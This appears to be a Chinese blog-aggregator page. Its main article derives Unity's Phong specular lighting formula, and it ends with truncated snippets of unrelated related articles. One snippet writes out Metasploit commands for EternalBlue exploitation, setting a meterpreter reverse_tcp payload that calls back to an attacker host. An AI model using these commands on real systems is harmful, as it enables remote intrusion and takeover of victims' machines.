当前位置: 首页 > news >正文

Unity中Shader光照模型Phong

文章目录

  • 前言
  • 一、Phong光照模型
  • 二、图示解释Phone光照模型
    • 1、由图可得,R 可以由 -L 加上 P 得出
    • 2、P等于2*M
    • 3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出
    • 4、得到M的模后,乘以 单位向量N,得到M
    • 5、最后得出 P 和 R


前言

Unity中Shader光照模型Phong,也是一个经验型光照模型,非物理光照模型,用于低性能的解决高光效果,之前的Lambert光照模型是漫反射光照模型,做不到高光效果,用Phong模型来弥补。


一、Phong光照模型

在这里插入图片描述

Phone光照公式:Specular = SpecularColor * Ks * pow(max(0,dot(R,V)),Shininess)

Specular: 最后返回的高光效果
SpecularColor:可以指定高光的颜色
Ks:用于控制高光的反射强弱
R:入射光经过反射后的单位向量
V:反射的顶点到摄像机的单位向量
Shininess:高光指数,用于模型高光的范围


二、图示解释Phone光照模型

Phone光照公式:Specular = SpecularColor * Ks * pow(max(0,dot(R,V)),Shininess)
在这里插入图片描述

图中,向量画的不标准,已知向量都是单位向量,所以M的模长可以直接由点积得出

R 是公式中,我们未知的量,需要计算得出

1、由图可得,R 可以由 -L 加上 P 得出

2、P等于2*M

3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出

4、得到M的模后,乘以 单位向量N,得到M

5、最后得出 P 和 R

相关文章:

Unity中Shader光照模型Phong

文章目录 前言一、Phong光照模型二、图示解释Phone光照模型1、由图可得,R 可以由 -L 加上 P 得出2、P等于2*M3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出4、得到M的模后,乘以 单位向量N,得到M5、最后得出 P 和 R 前…...

消息队列缓存,以蓝牙消息服务为例

前言 消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出,转载请说明。 学习交流请发邮件 1280253714qq.com 原…...

MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit

首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...

【LeetCode】1.两数之和

目录 1 问题2 答案2.1 枚举法 (自己写的)2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应…...

3. Windows下C++/MFC调用hiredis库操作redis示例

一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面,再点击测试工程的右键/属性,点击C/常规,附加包含目录添加以下路径,注意如果原先有多个路径,在末尾处添加分号后再粘贴: 点击C/常…...

200、使用默认 Exchange 实现 P2P 消息 之 消息生产者(发送消息) 和 消息消费者(消费消息)

RabbitMQ 工作机制图: Connection: 代表客户端(包括消息生产者和消费者)与RabbitMQ之间的连接。 Channel: 连接内部的Channel。channel:通道 Exchange: 充当消息交换机的组件。 Queue&#xff…...

SqlServer--get 和 post 请求 http接口

1. 开启 不开启报错 如下 4.1 SQL Server blocked access to procedure ‘sys.sp_OACreate’ sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO2. post Declare ServiceUrl nvarchar(MAX) Declare req_…...

利用人工智能提升企业培训的个性化体验

随着科技的不断进步,人工智能(AI)正逐渐渗透到各个领域。而在企业培训领域,人工智能也展现出了巨大的潜力。利用人工智能技术的企业培训系统,企业可以为员工提供个性化、高效的培训体验,进一步提升他们的专…...

基于JavaWeb的图书售卖网站(源码+部署+LW)

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于JavaWeb的图书售卖网…...

Java设计模式之代理模式

代理模式是一种结构型设计模式,它允许通过创建一个代理对象来控制对另一个对象的访问。代理模式在软件开发中经常被使用,它可以提供额外的功能,例如远程访问、延迟加载、访问控制和日志记录等。 代理模式涉及三个主要角色: 抽象…...

Oracle数据泵导入和导出命令

–管理员方式登录,新建表空间和用户,并建立文件夹映射路径并授权 CREATE DIRECTORY directory_name AS ‘path_to_directory’; grant read,write on directory directory to backup ** —EXPDP多线程备份数据库脚本–dblink–可以修改为命令行 echo …...

Linux中所有环境变量配置文件及用途

在Linux系统中,有多个文件可以用来配置环境变量,这些文件位于不同的目录和层级,并可以用于不同的目的。以下是一些常见的环境变量配置文件: 系统级环境变量文件: /etc/environment:这个文件包含了系统范围的…...

一文读懂flutter线程: 深入了解Flutter中的多线程编程

深入了解Flutter中的多线程编程 前言一、为什么需要多线程?二、在Flutter中创建线程三、多线程的最佳实践四、Flutter中的多线程示例五、Flutter中的多线程错误处理六、Flutter中的多线程性能优化七、安全性和隐私考虑八、跨平台性考虑 总结 前言 在移动应用开发领域…...

如何限制word文件中部分内容无法编辑

工作中我们经常会用到Word制作一些文件,文件中有一部分内容不想他人编辑,我们可以设置限制编辑,可以对一部分内容设置限制编辑,具体方法如下: 我们将需要将可以编辑的地方选中,然后打开限制编辑功能 然后勾…...

免疫球蛋白介绍

免疫球蛋白(Immunoglobulin,Ig)是广泛存在于哺乳动物血清、淋巴液、组织液和外分泌液中的一种具有抗体活性或化学结构与抗体相似的球蛋白,在机体防御疾病的重要成分在疾病研究、药物研发、疫苗评价中具有重要作用。抗体&#xff0…...

VMWare 安装CentOS7镜像

安装CentOS 7 整个安装过程分两大步,第一步装机器,第二步装系统. 第一步: 装机器 检查物理机虚拟化支持是否开启,需要进入到BIOS中设置,因各种电脑型号进入BIOS 方式不同,同学们自行查找对应品牌电脑如何进入BIOS 建…...

什么台灯最好学生晚上用?开学适合孩子学习的台灯

作为学龄期儿童的家长,最担心的就是孩子长时间学习影响视力健康。无论是上网课、写作业、玩桌游还是陪伴孩子读绘本,都需要一个足够明亮的照明环境,因此选购一款为孩子视力发展保驾护航的台灯非常重要。推荐五款适合孩子学习的台灯。 1. 书客…...

6.1 C/C++ 封装字符串操作

C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...

小白网络安全学习手册

作为一个合格的网络安全工程师,应该做到攻守兼备,毕竟知己知彼,才能百战百胜。 谈起黑客,可能各位都会想到:盗号,其实不尽然;黑客是一群喜爱研究技术的群体,在黑客圈中,一…...

思科拟推出PuzzleFS驱动,采用Rust语言开发

据了解,PuzzleFS宣称是“下一代 Linux 容器文件系统”,并使用Rust语言编写,具有“快速镜像构建”、“直接挂载支持”、“内存安全保证”等功能mroeoyw。 Multiable万达宝制造ERP(www.multiable.com.cn/solutions_zz)支持自定义栏位,并智能制…...

通过Wrangler CLI在worker中创建数据库和表

官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂(如抗体、抑制肽)在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上,高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术,但这类方法普遍面临资源消耗巨大、研发周期冗长…...

微服务商城-商品微服务

数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...

04-初识css

一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...

3403. 从盒子中找出字典序最大的字符串 I

3403. 从盒子中找出字典序最大的字符串 I 题目链接&#xff1a;3403. 从盒子中找出字典序最大的字符串 I 代码如下&#xff1a; class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

自然语言处理——循环神经网络

自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元&#xff08;GRU&#xff09;长短期记忆神经网络&#xff08;LSTM&#xff09…...

ios苹果系统,js 滑动屏幕、锚定无效

现象&#xff1a;window.addEventListener监听touch无效&#xff0c;划不动屏幕&#xff0c;但是代码逻辑都有执行到。 scrollIntoView也无效。 原因&#xff1a;这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作&#xff0c;从而会影响…...

【生成模型】视频生成论文调研

工作清单 上游应用方向&#xff1a;控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

C#中的CLR属性、依赖属性与附加属性

CLR属性的主要特征 封装性&#xff1a; 隐藏字段的实现细节 提供对字段的受控访问 访问控制&#xff1a; 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性&#xff1a; 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑&#xff1a; 可以…...

深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向

在人工智能技术呈指数级发展的当下&#xff0c;大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性&#xff0c;吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型&#xff0c;成为释放其巨大潜力的关键所在&…...